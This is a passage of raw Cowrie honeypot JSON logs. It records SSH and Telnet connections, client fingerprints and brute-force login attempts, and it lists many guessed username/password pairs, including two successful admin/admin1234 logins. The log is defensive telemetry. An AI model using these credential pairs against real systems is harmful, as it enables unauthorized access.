519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:49.604827Z","src_ip":"38.93.206.2","session":"2d40a45674ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"211291","message":"login attempt [root/211291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:49.758590Z","src_ip":"38.93.206.2","session":"2d40a45674ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"audi","password":"audi123","message":"login attempt [audi/audi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:50.537867Z","src_ip":"91.92.40.36","session":"523b5b321bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:50.814877Z","src_ip":"38.93.206.2","session":"2d40a45674ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sorry","message":"login attempt [admin/sorry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:51.722751Z","src_ip":"91.92.40.36","session":"468b8901e9aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:52.927195Z","src_ip":"91.92.40.36","session":"523b5b321bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:53.776046Z","src_ip":"91.92.40.36","session":"468b8901e9aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45080,"dst_ip":"159.203.135.109","dst_port":22,"session":"25b26d5bbbd2","protocol":"ssh","message":"New connection: 91.92.40.36:45080 (159.203.135.109:22) [session: 25b26d5bbbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:56.307247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:56.424340Z","src_ip":"91.92.40.36","session":"25b26d5bbbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:56.428067Z","src_ip":"91.92.40.36","session":"25b26d5bbbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4ssw0rd","message":"login attempt [ubuntu/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:57.924072Z","src_ip":"91.92.40.36","session":"25b26d5bbbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:59.232785Z","src_ip":"91.92.40.36","session":"25b26d5bbbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45150,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d2fe07dcc3b","protocol":"ssh","message":"New connection: 91.92.40.36:45150 (159.203.135.109:22) [session: 6d2fe07dcc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:02.253564Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38610,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a3e4ea3d4e","protocol":"telnet","message":"New connection: 172.81.62.90:38610 (159.203.135.109:23) [session: f9a3e4ea3d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:02.817020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:03.314974Z","src_ip":"91.92.40.36","session":"6d2fe07dcc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:03.323644Z","src_ip":"91.92.40.36","session":"6d2fe07dcc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123qwerty","message":"login attempt [ftptest/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:08.134776Z","src_ip":"91.92.40.36","session":"6d2fe07dcc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25056,"dst_ip":"159.203.135.109","dst_port":22,"session":"07ace10bf653","protocol":"ssh","message":"New connection: 91.92.40.36:25056 (159.203.135.109:22) [session: 07ace10bf653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:09.743823Z"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:10.843299Z","src_ip":"91.92.40.36","session":"6d2fe07dcc3b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:11.347840Z","src_ip":"91.92.40.36","session":"07ace10bf653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:11.351090Z","src_ip":"91.92.40.36","session":"07ace10bf653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":56969,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f592f6682a0","protocol":"ssh","message":"New connection: 23.175.50.51:56969 (10.17.0.5:22) [session: 1f592f6682a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:12.590309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:12.595375Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42242,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad802bf552c","protocol":"ssh","message":"New connection: 103.153.68.219:42242 (159.203.135.109:22) [session: 6ad802bf552c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:12.785086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:12.793570Z","src_ip":"103.153.68.219","session":"6ad802bf552c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:12.797143Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:13.049721Z","src_ip":"103.153.68.219","session":"6ad802bf552c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":37144,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bbe828b9807","protocol":"ssh","message":"New connection: 182.93.50.90:37144 (159.203.135.109:22) [session: 1bbe828b9807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:13.412253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:13.417164Z","src_ip":"182.93.50.90","session":"1bbe828b9807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:13.633195Z","src_ip":"182.93.50.90","session":"1bbe828b9807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ckfdjxrf","message":"login attempt [root/ckfdjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:13.817589Z","src_ip":"103.153.68.219","session":"6ad802bf552c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:13.910597Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":54455,"dst_ip":"159.203.135.109","dst_port":22,"session":"d57cde792c22","protocol":"ssh","message":"New connection: 41.90.100.147:54455 (159.203.135.109:22) [session: d57cde792c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:13.982788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:13.992348Z","src_ip":"41.90.100.147","session":"d57cde792c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:14.211308Z","src_ip":"41.90.100.147","session":"d57cde792c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":59451,"dst_ip":"10.17.0.5","dst_port":22,"session":"8768c9b84afb","protocol":"ssh","message":"New connection: 173.208.192.194:59451 (10.17.0.5:22) [session: 8768c9b84afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:14.293622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:14.298575Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:14.405406Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:14.540577Z","src_ip":"182.93.50.90","session":"1bbe828b9807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:15.075084Z","src_ip":"103.153.68.219","session":"6ad802bf552c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alim","password":"alim","message":"login attempt [alim/alim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:15.116495Z","src_ip":"41.90.100.147","session":"d57cde792c22","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:15.759229Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:15.766232Z","src_ip":"182.93.50.90","session":"1bbe828b9807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:16.336502Z","src_ip":"41.90.100.147","session":"d57cde792c22","protocol":"ssh"}
